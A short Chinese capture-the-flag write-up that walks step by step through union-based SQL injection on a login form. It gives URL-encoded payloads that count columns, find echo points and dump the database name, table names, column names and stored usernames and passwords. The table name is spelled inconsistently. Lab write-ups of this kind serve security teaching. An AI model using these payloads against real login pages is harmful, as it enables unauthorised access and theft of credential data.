打开发现用户登录界面,尝试一下万能密码
跳转到check界面并得到登录名及密码
尝试解码,解码失败,进行注入
先查询字段数
?username=admin%27+order+by+3%23&password=1
页面回显成功,再试试4
?username=admin%27+order+by+4%23&password=1
注:在url进行查询,#要用url编码%23代替
页面回显失败,可以知道有三个字段
接着我们利用union select 进行回显点查询
?username=1%27%20union%20select%201,2,3%23&password=1
回显点在2,3的位置
接下来查询数据库名
?username=1%27%20union%20select%201,database(),3%23&password=1
可知当前数据库为geek
然后我们爆出表
?username=1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23&password=1
爆出表为geekuser,I0veysq1
接着爆出列名
先试试geekuser表
?username=1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27geekuser%27%23&password=1
得到这三个列
我们就继续爆数据
因为使用geekuser表爆不出有用的内容,所以我们换l0ve1ysq1表试试
?username=1%27%20union%20select%201,2,group_concat(id,username,password)%20from%20l0ve1ysq1%23&password=1
拿到flag